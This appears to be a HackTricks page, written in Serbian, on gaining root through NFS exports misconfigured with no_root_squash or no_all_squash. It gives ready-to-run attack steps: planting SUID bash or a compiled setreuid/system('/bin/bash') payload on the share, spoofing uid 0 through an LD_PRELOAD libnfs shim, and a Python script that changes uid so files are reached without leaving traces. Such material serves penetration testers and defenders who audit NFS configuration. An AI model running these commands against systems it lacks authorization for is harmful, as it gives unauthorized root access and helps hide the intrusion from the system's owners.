NFS no_root_squash/no_all_squash misconfiguration PE

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pročitajte datoteku _ /etc/exports _, ako pronađete neki direktorijum koji je konfigurisan kao no_root_squash, tada ga možete pristupiti kao klijent i pisati unutar tog direktorijuma kao da ste lokalni root mašine.

no_root_squash: Ova opcija omogućava korisniku root na klijentu da pristupa datotekama na NFS serveru kao root. Ovo može dovesti do ozbiljnih sigurnosnih posledica.

no_all_squash: Ovo je slična opcija kao no_root_squash, ali se odnosi na non-root korisnike. Zamislite, imate shell kao nobody korisnik; proverite datoteku /etc/exports; opcija no_all_squash je prisutna; proverite datoteku /etc/passwd; emulirajte non-root korisnika; kreirajte suid datoteku kao taj korisnik (montiranjem pomoću nfs). Izvršite suid kao nobody korisnik i postanite drugi korisnik.

Eskalacija privilegija

Udaljeni napad

Ako ste pronašli ovu ranjivost, možete je iskoristiti:

  • Montiranjem tog direktorijuma na klijentskoj mašini, i kao root kopiranjem unutar montiranog foldera /bin/bash binarnu datoteku i davanje SUID prava, i izvršavanje sa žrtvene mašine te bash binarne datoteke.

#Attacker, as root user
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /bin/bash .
chmod +s bash

#Victim
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
  • Montiranje tog direktorijuma na klijentskom računaru, i kopiranje kao root unutar montiranog foldera našeg kompajliranog payloada koji će zloupotrebiti SUID dozvole, dati mu SUID prava, i izvršiti sa žrtvinog računara tu binarnu datoteku (ovde možete pronaći neke C SUID payloade).

#Attacker, as root user
gcc payload.c -o payload
mkdir /tmp/pe
mount -t nfs <IP>:<SHARED_FOLDER> /tmp/pe
cd /tmp/pe
cp /tmp/payload .
chmod +s payload

#Victim
cd <SHAREDD_FOLDER>
./payload #ROOT shell

Lokalni eksploit

Imajte na umu da ako možete da napravite tunel sa vašeg računara do računara žrtve, i dalje možete koristiti udaljenu verziju za iskorišćavanje ovog eskalacije privilegija tuneliranjem potrebnih portova. Sledeći trik je u slučaju da datoteka /etc/exports ukazuje na IP adresu. U ovom slučaju, nećete moći da koristite udaljeni eksploit i moraćete da zloupotrebite ovaj trik. Još jedan neophodan uslov za iskorišćavanje eksploita je da izvoz unutar /etc/export mora koristiti insecure zastavicu. --Nisam siguran da li će ovaj trik raditi ako /etc/export ukazuje na IP adresu--

Osnovne informacije

Scenario uključuje iskorišćavanje montiranog NFS deljenog resursa na lokalnom računaru, iskorišćavanjem greške u NFSv3 specifikaciji koja omogućava klijentu da specificira svoj uid/gid, potencijalno omogućavajući neovlašćeni pristup. Iskorišćavanje uključuje korišćenje libnfs, biblioteke koja omogućava falsifikovanje NFS RPC poziva.

Kompilacija biblioteke

Koraci kompilacije biblioteke mogu zahtevati prilagođavanje na osnovu verzije jezgra. U ovom konkretnom slučaju, fallocate syscalls su bili zakomentarisani. Proces kompilacije uključuje sledeće komande:

./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/

Izvođenje napada

Napad uključuje kreiranje jednostavnog C programa (pwn.c) koji povećava privilegije na root i zatim izvršava shell. Program se kompajlira, a rezultirajući binarni fajl (a.out) se postavlja na deljeni folder sa suid root, koristeći ld_nfs.so da bi se lažirao uid u RPC pozivima:

  1. Kompajlirajte kod napada:

cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
  1. Postavite napad na deljeni folder i izmenite dozvole lažiranjem uid-a:

LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
  1. Izvršite napad da biste dobili privilegije root-a:

/mnt/share/a.out
#root

Bonus: NFShell za neprimetan pristup fajlovima

Kada se dobije pristup kao root, za interakciju sa NFS deljenim folderom bez menjanja vlasništva (kako bi se izbegli tragovi), koristi se Python skripta (nfsh.py). Ova skripta prilagođava uid da odgovara uid-u fajla koji se pristupa, omogućavajući interakciju sa fajlovima na deljenom folderu bez problema sa dozvolama:

#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
import sys
import os

def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid

filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))

Pokrenite kao:

# ll ./mount/
drwxr-x---  6 1008 1009 1024 Apr  5  2017 9.3_old

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated